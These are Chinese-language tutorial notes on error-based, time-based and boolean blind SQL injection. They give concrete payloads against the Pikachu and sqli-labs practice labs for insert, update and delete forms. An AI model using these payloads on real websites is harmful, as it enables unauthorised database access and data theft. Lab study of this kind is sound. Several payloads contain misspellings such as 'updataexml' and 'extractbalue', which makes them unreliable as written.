SQL注入之查詢方式及報錯盲注
前言
當進行SQL注入時,有很多注入會出現無回顯的情況,其中不回顯的原因可能是SQL語句查詢方式的問題導致,這個時候我們需要用到相關的報錯或盲注進行後續操作,同時作為手工注入時,提前瞭解或預知其SQL語句大概寫法也能更好的選擇對應的注入語句
涉及知識點
1.SQL語句
select 查詢資料 在網站應用中進行資料顯示查詢效果 例: select * from news wher id=$id insert 插入資料 在網站應用中進行使用者註冊新增等操作 例:insert into news(id,url,text) values(2,'x','$t') delete 刪除資料 後臺管理裡面刪除文章刪除使用者等操作 例:delete from news where id=$id update 更新資料 會員或後臺中心資料同步或快取等操作 例:update user set pwd='$p' where id=2 and username='admin' order by 排列資料 一般結合表名或列名進行資料排序操作 例:select * from news order by $id 例:select id,name,price from news order by $order
重點理解:
我們可以通過以上查詢方式與網站應用的關係
注入點產生地方或應用猜測到對方的SQL查詢方式
例如:
註冊對應插入語句
SQL注入—報錯盲注
盲注就是在注入過程中,獲取的資料不能回顯至前端頁面。此時,我們需要利用一些方法進行半段或者嘗試,這個過程稱之為盲注。我們可以知道盲注分為以下三類:
基於布林的SQL盲注-邏輯判斷(優先順序:2)
regexp,like,ascii,left,ord,mid
基於時間的SQL盲注-延時判斷(優先順序:3)
if,sleep
基於報錯的SQL盲注-報錯回顯(優先順序:1)
floor,updatexml,extractvalue
https://www.jianshu.com/p/bc35f8dd4f7c
基於報錯的SQL盲注-報錯回顯
1.floor
payload:
pikachu insert
username=x' or(select 1 from(select count(*),concat((select(select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) or ' &password=xiaodi&sex=%E7%94%B7&phonenum=13878787788&email=wuhan&add=hubei &submit=submit
2.updatexml
username=x ' or updatexml(1,concat(0x7e,(version())),0) or ' & password=xiaodi & sex=%E7%94%B7 & honenum=13878787788 & email=wuhan & add=hubei & submit=submit
extractvalue
username=x ' or extractvalue(1,concat(0x7e,database())),0) or ' &password=xiaodi&sex=%E7%94%B7&phonenum=13878787788&
email=wuhan&add=hubei&submit=submit
pikachu updata
sex=%E7%94%B7&phonenum=13878787788&and=hubeNicky' or (select 1
from(select count(*),concat(floor(rand(0)*2),0x7e, (database()),0x7e)x from
information_schema.character_sets group by x)a) or '&email=wuhan&submit=submit
sex=%E7%94%B7&phonenum=13878787788&and=hubeNicky
' or updataexml(1,concat(0x7e,(version())),0) or '&email=wuhan&submit=submit
sex=%E7%94%B7&phonenum=13878787788&and=hubeNicky
' or extractbalue(1,concat(0x7e,database())) or '&email=wuhan&submit=submit
pikachu delete
/pikachu/vul/sqli/sqli_del.php?id=56
+or+(select+1+from(select+count(*),concat(floor(rand(0)*2),0x7e, (database()),0x7e)x+from+information_schema.character_sets+group+by+x)a)
/pikachu/vul/sqli/sqli_del.php?id=56+or+updatexml+(1,concat(0x7e,database()),0)
/pikachu/vul/sqli/sqli_del.php?id=56+or+extractvalue+(1,concat(0x7e,database()))
基於時間的SQL盲注-延遲判斷
and if(ascii(substr(database(),1,1))=115,sleep(5),1)--+
and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(3),0)--+
基於布林的SQL盲注—邏輯判斷
頁面只返回True和False兩種型別頁面。利用頁面返回不同,逐個猜解資料
當前資料庫database()的長度大於10,返回true頁面,否則FALSE頁面:
http://127.0.0.1/Less-8/?id=1'and (length(database()))>10 --+
count(*)計數 concat()連線字元 floor()重複資料,返回0,1兩個值 group by 進行分組 rand(0)避免資料重複造成的錯誤
猜當前資料庫第一個字元
http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1'and ascii(substr(database(),1,1))>114#
利用二分法,115為fal,114TRUE,資料庫第一個字元ASCII為115,即s
同理修改substr(database(),2,1)可猜第二個字元,之後同理,當然在猜資料庫字元前也可先猜資料庫長度:
length(database())
http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1' and ascii(substr(database(),1,1))>114#
這條語句在後臺為:
SELECT * FROM users WHERE id='1' and ascii(substr(database(),1,1))>114#'(後面單引號被#註釋掉)
參考:
like 'ro%' #判斷ro或ro...是否成立
regexp '^xiaodi[1-z]' #匹配xiaodi及xiaodi...等
if(條件,5,0) #條件成立,返回5,反之,返回0
sleep(5) #SQL語句延時執行5秒
mid(a,b,c) #從位置b開始,擷取a字串的c位
substr(a,b,c) #從B位置開始,擷取字串a的c長度
left(database(),1),database() #left(a,b)從左側擷取a的前b位
length(database())=8 #判斷資料庫database()名的長度
ord=ascii ascii(x)=97 #判斷x的ascii碼是否等於97
涉及資源
https://www.jianshu.com/p/bc35f8dd4f7c
https://www.jianshu.com/p/fcae21926e5c
https://pan.baidu.com/s/1IX6emxDpvYrVZbQzJbHn3g 提取碼:l9f6
案例演示
1.各種查詢方式注入測試(報錯注入)
2.sqlilabs-less5注入測試(布林盲注)
猜版本號
猜取資料庫名
3.sqlilabs-less2注入測試(延時盲注)
判斷資料名
判斷資料庫長度
猜取資料庫第一個字元
limit 0,1 (0, 從0開始第一個。 1, 字串選取的個數)